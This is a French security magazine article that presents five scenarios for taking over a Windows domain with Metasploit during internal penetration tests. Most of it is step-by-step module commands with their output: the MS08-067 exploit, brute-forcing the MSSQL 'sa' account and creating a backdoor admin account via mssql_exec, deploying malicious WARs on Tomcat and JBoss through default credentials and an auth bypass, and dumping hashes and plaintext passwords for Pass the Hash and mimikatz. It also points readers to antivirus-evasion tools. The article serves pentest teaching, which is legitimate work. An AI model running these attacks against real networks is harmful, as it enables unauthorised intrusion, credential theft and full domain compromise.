Cinq façons de devenir administrateur de domaine avec Metasploit

MISC HS n° 014 | octobre 2016 | Guillaume Lopes
Creative Commons
  • Actuellement 0 sur 5 étoiles
0
Merci d'avoir participé !
Vous avez déjà noté cette page, vous ne pouvez la noter qu'une fois !
Votre note a été changée, merci de votre participation !
En test d'intrusion interne, la compromission d'un domaine Windows est quasi-systématique. Les différentes protections mises en place ne font que ralentir la progression de l'attaquant ou l'auditeur. Dans cet article, nous n'allons pas vous apprendre à effectuer un test d'intrusion, mais vous présenter 5 scénarios d'attaques qui vous permettront de compromettre un domaine Windows rapidement et quasiment à coup sûr à l'aide de Metasploit.

1. Introduction

1.1 Un environnement Windows : à quoi ça ressemble ?

On peut représenter un domaine Windows de manière simple : il est composé d'un contrôleur de domaine (le fameux Active Directory) et d'équipements appartenant à ce domaine. Le contrôleur de domaine va permettre notamment d'appliquer des Group Policy Object (GPO) sur les différents équipements du domaine (stratégie de mot de passe, stratégie de verrouillage des comptes, stratégie d'audits, etc.). Hormis le contrôleur de domaine, on va se retrouver dans un environnement Windows avec 2 catégories d'équipements (de manière simplifiée) : les postes de travail et les serveurs. Les postes de travail ne représentent pas en général une cible intéressante en test d'intrusion, sauf les postes des administrateurs du domaine bien entendu. Concernant les serveurs, on va retrouver différents types de serveurs qui pourront en cas de compromission contenir des informations intéressantes et qui pourront venir étoffer le rapport de l'auditeur (serveur de fichiers, de base de données, serveurs d'applications, etc.). Le fait que dans un environnement Windows les équipements appartiennent à un même domaine permet d'en faciliter leur administration, mais comme nous le verrons par la suite, cela permet en cas de compromission d'un poste ou d'un serveur de prendre le contrôle de l'ensemble du domaine.

1.2 Un test d'intrusion interne : qu'est-ce que c'est ?

Pour rappel, l'objectif d'un test d'intrusion est de mettre en avant la capacité de malveillance d'un attaquant et ainsi de présenter de manière concrète l'exploitation des faiblesses identifiées.

Dans le cas du test d'intrusion interne, cette capacité de malveillance est simulée selon deux scénarios classiques :

1. Intrus physique : dans ce scénario, l'auditeur simule une intrusion physique réalisée dans les locaux du client disposant de son propre matériel et d'un accès à une prise RJ45 ;

2. Collaborateur malveillant : ici, l'auditeur joue un collaborateur interne de l'entreprise disposant d'un poste de travail et d'un compte de domaine standards.

Dans les deux scénarios, il n'y a que le point de départ qui est différent, mais l'objectif reste identique, à savoir la prise de contrôle du système d'information et l'accès à des données confidentielles de l'entreprise (comptabilité, données RH, savoir-faire, etc.).

2. Scénarios d'attaques

2.1 Énumération des partages réseau et des utilisateurs du domaine

Une des premières choses à faire lors d'un test d'intrusion en interne est d'identifier les partages réseau visibles en lecture, car on y trouve fréquemment quelques perles (logins_prod_BDD.xls, IT_password.xls, etc.).

On peut utiliser le module smb_enumshares afin de lister les répertoires partagés accessibles sur le réseau.

msf auxiliary(mssql_exec) > use auxiliary/scanner/smb/smb_enumshares

msf auxiliary(smb_enumshares) > show options

Module options (auxiliary/scanner/smb/smb_enumshares):

   Name             Current Setting  Required  Description

   ----             ---------------  --------  -----------

   LogSpider        3                no        0 = disabled, 1 = CSV, 2 = table (txt), 3 = one liner (txt) (Accepted: 0, 1, 2, 3)

   MaxDepth         999              yes       Max number of subdirectories to spider

   RHOSTS                            yes       The target address range or CIDR identifier

   SMBDomain        .                no        The Windows domain to use for authentication

   SMBPass                           no        The password for the specified username

   SMBUser                           no        The username to authenticate as

   ShowFiles        false            yes       Show detailed information when spidering

   SpiderProfiles   true             no        Spider only user profiles when share = C$

   SpiderShares     false            no        Spider shares recursively

   THREADS          1                yes       The number of concurrent threads

   USE_SRVSVC_ONLY  false            yes       List shares only with SRVSVC

L'idée étant de lancer l'énumération sans aucun compte sur le réseau. Par la suite, si l'on trouve des comptes durant le test d'intrusion, on pourra les utiliser pour obtenir de nouveaux accès et accéder à de nouvelles informations. Enfin, ce qu'il est intéressant de souligner avec ce module (mais qui est vrai pour les autres modules smb_*), c'est que nous pouvons utiliser les condensats LM NTLM de l'utilisateur pour effectuer cette énumération. De mon expérience, il arrive que le module smb_enumshares n'arrive pas à identifier correctement les partages Windows. Il peut être intéressant de corroborer les résultats avec un autre outil tel que Network Scanner [NETSCAN].

Quelles sont les informations que l'on souhaite obtenir dans ces répertoires :

- des fichiers intéressants d’un point de vue business ;

- des fichiers contenant des mots de passe ;

- des dossiers racines d’application web accessibles en écriture ;

- des scripts d'administration ;

- …

Par la suite, si l'on arrive à récupérer un compte sur le domaine Windows, on peut lancer les modules smb_enumusers et smb_enumusers_domain pour énumérer les comptes locaux et comptes de domaine respectivement. La découverte de ces nouveaux comptes nous permettra d'effectuer, par la suite, une attaque par bruteforce. On pourra par exemple utiliser le module smb_login.

2.2 Exploitation de vulnérabilités connues

L'application des correctifs de sécurité reste une tâche encore aujourd'hui difficile à mettre en place de manière régulière sur l'ensemble des actifs d'un domaine. En général, les postes sont à jour et il est rare de trouver une vieille vulnérabilité sur ces actifs. Tandis que pour les serveurs, on trouve un écart assez significatif.

En 2016, sur un domaine Windows, on retrouve au moins un équipement ne disposant pas du correctif MS08-067. Pour rappel, le ver Conficker avait exploité cette vulnérabilité fin 2008 et début 2009. L'exploitation de cette vulnérabilité permet de prendre le contrôle du poste à distance avec les droits SYSTEM.

À l'aide de l'outil Nmap, on peut effectuer un scan sur son réseau afin d'identifier rapidement si un équipement ne dispose pas de ce correctif voire même si le poste est infecté par Conficker :

# nmap -p139,445 --script smb-check-vulns 10.11.70.99 --script-args=unsafe=1

Starting Nmap 6.49BETA5 ( https://nmap.org ) at 2016-06-24 15:44 CEST

Nmap scan report for 10.11.70.99

Host is up (0.058s latency).

PORT    STATE SERVICE

139/tcp open  netbios-ssn

445/tcp open  microsoft-ds

Host script results:

| smb-check-vulns:

|   MS08-067: VULNERABLE

|   Conficker: Likely CLEAN

|   SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE

|   MS06-025: NO SERVICE (the Ras RPC service is inactive)

|_  MS07-029: NO SERVICE (the Dns Server RPC service is inactive)

Par la suite, il nous suffit de dégainer Metasploit et d'utiliser l'exploit ms08_067_netapi :

msf exploit(ms08_067_netapi) > set RHOST 10.11.70.99

RHOST => 10.11.70.99

msf exploit(ms08_067_netapi) > check

[+] 10.11.70.99:445 - The target is vulnerable.

msf exploit(ms08_067_netapi) > exploit

Avant de lancer l'exploit, il est possible de faire une vérification à l'aide de la commande check afin de s'assurer que l'exploitation est possible sur la cible. Il est à noter que cet exploit peut parfois faire crasher l'équipement. Enfin, avec la commande exploit, nous serons en mesure d'obtenir un accès distant avec les droits SYSTEM sur l'équipement. C'est le quick win parfait, car facile à détecter et facilement exploitable avec Metasploit.

2.3 Microsoft SQL Server : compte « sa » disposant d'un mot de passe faible

Les bases de données sont une cible intéressante lors d'un test d'intrusion interne en raison des données qu'elles peuvent contenir. L'utilisation de comptes par défaut ou disposant d'un mot de passe faible est encore monnaie courante sur ce type d'actifs.

Les bases de données Microsoft SQL Server (MSSQL) sont une cible de choix. En effet, si nous réussissons à retrouver le mot de passe du compte « sa », nous pourrons par la suite utiliser les privilèges de cet utilisateur afin de rebondir sur le système d'exploitation.

Tout d'abord, nous pouvons identifier les bases de données MSSQL à l'aide de Nmap (par défaut, le port d'écoute est TCP / 1433) :

# nmap -p 1433 192.168.0.0/24

Ensuite, nous effectuons une attaque par bruteforce sur le compte « sa » pour chaque base de données à l'aide du module mssql_login de Metasploit.

msf > use auxiliary/scanner/mssql/mssql_login

msf auxiliary(mssql_login) > set PASSWORD sa

PASSWORD => sa

msf auxiliary(mssql_login) > set RHOSTS 192.168.0.0/24

RHOSTS => 192.168.0.0/24

msf auxiliary(mssql_login) > run

Le trio gagnant en ce qui concerne le mot de passe et qui fonctionnera au moins pour une base de données sur le réseau (d'après mon expérience) est : sa, password et <vide>.

Bien sûr, il est possible de fournir un dictionnaire plus important, mais pour une passe rapide sur un grand réseau, ce trio devrait donner des résultats satisfaisants.

msf auxiliary(mssql_login) > set PASS_FILE dico.txt

PASS_FILE => dico.txt

msf auxiliary(mssql_login) > run

Enfin, si nous découvrons un compte « sa » valide, nous pouvons utiliser le module mssql_payload afin d'exécuter un meterpreter sur la machine. Il nous suffit de renseigner le compte de la base MSSQL et l'adresse IP de la machine vulnérable.

msf exploit(mssql_payload) > set RHOST 10.11.12.13

RHOST => 10.11.12.13

msf exploit(mssql_payload) > set PASSWORD sa

PASSWORD => sa

msf exploit(mssql_payload) > exploit

Il est également possible d'utiliser un autre module nommé mssql_exec afin d'exécuter des commandes sur le système, par exemple pour créer un compte local disposant des droits d'administration. Cela nous permettra de nous reconnecter sur l'équipement via un autre moyen, par exemple le Bureau à distance ou via  l'utilitaire PsExec. De plus, avec cette technique, nous évitons la détection du payload Metasploit par un antivirus.

msf > use auxiliary/admin/mssql/mssql_exec

msf auxiliary(mssql_exec) > set RHOST 10.11.12.13

RHOST => 10.11.12.13

msf auxiliary(mssql_exec) > set CMD net user haxor haxor /ADD

CMD => net user haxor haxor /ADD

msf auxiliary(mssql_exec) > run

msf auxiliary(mssql_exec) > set CMD net localgroup haxor Administrateurs /ADD

CMD => net localgroup Administrateurs haxor /ADD

msf auxiliary(mssql_exec) > run

Et voilà ! Avec ces 2 façons de faire, nous sommes en mesure d'obtenir les privilèges les plus élevés sur l'équipement.

2.4 Serveurs d'application JBoss et Tomcat

De plus en plus, on retrouve des serveurs d'application utilisés dans le cadre de développements internes ou lors de l'utilisation de certains produits open source ou propriétaires. En général, on constate que la configuration de ces serveurs est laissée par défaut et on se retrouve ainsi avec des comptes par défaut ou des interfaces d'administration accessibles sans aucune authentification.

Dans le cas du service Apache Tomcat, on procède de manière similaire à MSSQL. Tout d'abord, on effectue  une attaque par bruteforce via le module tomcat_mgr_login. Par défaut, on retrouve une instance Tomcat sur le port 8080 ou le port 80. Bien entendu, l'administrateur est libre de mettre en écoute l'instance Tomcat sur n'importe quel port (8888, 8443, 8181, 83, etc.).

msf > use auxiliary/scanner/http/tomcat_mgr_login

msf auxiliary(tomcat_mgr_login) > msf auxiliary(tomcat_mgr_login) > set PASSWORD tomcat

PASSWORD => tomcat

msf auxiliary(tomcat_mgr_login) > set USERNAME tomcat

USERNAME => tomcat

msf auxiliary(tomcat_mgr_login) > set RHOSTS 192.168.0.0/24

RHOSTS => 192.168.0.0/24

msf auxiliary(tomcat_mgr_login) > run

Les comptes que l'on rencontre le plus souvent sont : admin/admin, tomcat/admin, tomcat/tomcat, admin/tomcat et tomcat/s3cr3t. Si vous ne trouvez pas une instance disposant de l'un de ces comptes, vous pouvez laisser les options par défaut de ce module et juste spécifier la plage d'équipements à tester. En effet, les dictionnaires fournis par Metasploit sont suffisants pour identifier des comptes par défaut ou avec des mots de passe faibles.

Ensuite, lorsque vous aurez identifié un compte sur une instance Tomcat, il vous suffira d'utiliser le module tomcat_mgr_deploy pour installer une application WAR afin d'exécuter des commandes sur le serveur.

msf > use exploit/multi/http/tomcat_mgr_deploy

msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat

USERNAME => tomcat

msf exploit(tomcat_mgr_deploy) > set PASSWORD tomcat

PASSWORD => tomcat

msf exploit(tomcat_mgr_deploy) > set RPORT 8080

RPORT => 8080

msf exploit(tomcat_mgr_deploy) > set RHOST 10.11.12.13

RHOST => 10.11.12.13

msf exploit(tomcat_mgr_deploy) > exploit

Pour les versions de JBoss 4.3 [REDHAT], un défaut de configuration permet de contourner l'authentification mise en place sur l'interface jmx-console [JBOSS]. En effet, l'authentification est assurée uniquement pour les requêtes HTTP GET et POST. Le module jboss_vulnscan permet d'identifier les instances JBoss vulnérables. Par défaut, ce module utilise la méthode HTTP HEAD pour contourner l'authentification, il est possible de le changer si nécessaire.

msf > use auxiliary/scanner/http/jboss_vulnscan

msf auxiliary(jboss_vulnscan) > set RHOSTS 192.168.0.0/24

RHOSTS => 192.168.0.0/24

msf auxiliary(jboss_vulnscan) > run

[*] Apache-Coyote/1.1

[*] 192.168.0.1:80 Checking http...

[*] 192.168.0.1:80 /jmx-console/HtmlAdaptor requires authentication (401): Basic realm="JBoss JMX Console"

[*] 192.168.0.1:80 Check for verb tampering (HEAD)

[+] 192.168.0.1:80 Got authentican bypass via HTTP verb tampering

Par la suite, tout comme pour Tomcat, nous pouvons utiliser le module jboss_bshdeployer pour déployer une application WAR malveillante nous permettant d'exécuter des commandes sur le système.

msf > use auxiliary/admin/http/jboss_bshdeployer

msf auxiliary(jboss_bshdeployer) > set RHOST 192.168.0.1

RHOST => 192.168.0.1

msf auxiliary(jboss_bshdeployer) > set VERB HEAD

VERB => HEAD

msf auxiliary(jboss_bshdeployer) > set RPORT 80

RPORT => 80

msf auxiliary(jboss_bshdeployer) > run

En fonction des droits d'exécution de JBoss et Tomcat, nous aurons plus ou moins de privilèges sur l'équipement. En pratique, on constate que sur des systèmes Windows, les services JBoss et Tomcat sont lancés avec les droits SYSTEM.

2.5 Pass the Hash

L'attaque Pass the Hash est une attaque connue depuis longtemps et qui reste fonctionnelle sur les versions de Windows récentes. Le concept est simple, lors d'une authentification Windows, les condensats LM et NTLM sont utilisés afin d'identifier l'utilisateur.

Concrètement, lors de la compromission d'un poste de travail ou d'un serveur, la récupération des condensats LM et NTLM suffit pour s'authentifier sur d'autres équipements ou services. Il n'est donc pas nécessaire de les « casser » afin d'obtenir un accès sur d'autres services.

Si nous reprenons les exemples présentés dans cet article, nous pouvons utiliser un défaut de mise à jour (MS08-067), un compte sa disposant d'un mot de passe faible ou d'une instance JBoss sans authentification pour prendre le contrôle d'un équipement Windows. Si nous disposons des droits SYSTEM ou d'administration sur l'équipement, nous pouvons extraire les condensats des comptes locaux sur l'équipement qui sont dans la base SAM. Voici un exemple à l'aide de meterpreter en utilisant le script smart_hashdump.

meterpreter > run post/windows/gather/smart_hashdump

[*] Running module against WORKSTATION

[*] Hashes will be saved to the database if one is connected.

[*] Hashes will be saved in loot in JtR password file format to:

[*] /root/.msf5/loot/20160629114947_default_192.168.1.18_windows.hashes_301868.txt

[*] Dumping password hashes...

[*] Running as SYSTEM extracting hashes from registry

[*]  Obtaining the boot key...

[*]  Calculating the hboot key using SYSKEY 3dc9bdcf561a1569c815dfe4f92d7413...

[*]  Obtaining the user list and keys...

[*]  Decrypting user keys...

[*]  Dumping password hints...

[*]  No users with password hints on this system

[*]  Dumping password hashes...

[+]  Administrator:500:aad3b435b51404eeaad3b435b51404ee:3a94911e90e70c42c052edd781765706:::

[+]  guillaume:1007:aad3b435b51404eeaad3b435b51404ee:873c8422d2e459f800d42b1db130cdfa:::

Sur un réseau interne, on constate généralement que l'administrateur local est identique sur l'ensemble des machines du réseau ou sur une grande partie, c'est-à-dire que le même mot de passe est réutilisé pour ce compte et sur différentes machines [WINDOWS].

Dans notre exemple, on peut utiliser le compte Administrator afin de nous reconnecter sur d'autres équipements. Pour cela, le module psexec peut être utilisé afin de réaliser l'attaque Pass the Hash et ainsi réutiliser les condensats récupérés.

msf > use exploit/windows/smb/psexec

msf exploit(psexec) > set SMBUser Administrator

SMBUser => Administrator

msf exploit(psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee:3a94911e90e70c42c052edd781765706

SMBPass => aad3b435b51404eeaad3b435b51404ee:3a94911e90e70c42c052edd781765706

msf exploit(psexec) > set RHOST 192.168.1.18

RHOST => 192.168.1.18

msf exploit(psexec) > exploit

Enfin, il est possible d'utiliser Mimikatz [GENTILKIWI] afin de récupérer les mots de passe en clair des utilisateurs connectés sur l'équipement (comptes de domaine et comptes locaux).

meterpreter > load kiwi

Loading extension kiwi...

  .#####.   mimikatz 2.0 alpha (x64/win64) release "Kiwi en C"

 .## ^ ##.

 ## / \ ##  /* * *

 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )

 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)

  '#####'    Ported to Metasploit by OJ Reeves `TheColonial` * * */

success.

meterpreter > creds_all

[+] Running as SYSTEM

[*] Retrieving all credentials

all credentials

===============

Domain            User             Password                                                                                                                  

WORKSTATION      guillaume         ZuperPassw0rd2016                                                                                                        

Conclusion

Lors d'un test d'intrusion interne, dans plus de 90% des cas, un attaquant est en mesure de compromettre l'ensemble du réseau et obtenir les droits d'administration sur le domaine. Cet article avait pour objectif de vous présenter les quick wins qui permettent rapidement de compromettre un domaine Windows à l'aide de Metasploit et que l'on retrouve habituellement dans un réseau interne.

Pour aller plus loin, il est nécessaire d'adopter des techniques d'évasion pour rendre les payloads d'exécution de Metasploit non détectables par les antivirus. En effet, à l'heure actuelle, si vous lancez les modules d'exploitation par défaut, ils sont tous identifiés et bloqués par les antivirus. Il est possible d'utiliser différentes techniques pour rendre les binaires non détectables, notamment le framework Veil Evasion [VEIL] ou bien de voir les solutions proposées par l'autre article dans cet hors-série.

De plus, cet article n'aborde pas également les techniques de post-exploitation présentées également dans cet hors-série.

Remerciements

Je tiens à remercier Marc Lebrun et Emilien Gaspar pour la relecture attentive.

Références

[NETSCAN] https://www.softperfect.com/products/networkscanner/

[REDHAT] https://rhn.redhat.com/errata/RHSA-2010-0379.html

[JBOSS] http://blog.mindedsecurity.com/2010/04/good-bye-critical-jboss-0day.html

[WINDOWS] https://www.ossir.org/jssi/jssi2014/JSSI_2014__Solucom_WinSec_vf.pdf

[GENTILKIWI] http://blog.gentilkiwi.com/mimikatz

[VEIL] https://www.veil-framework.com/framework/veil-evasion/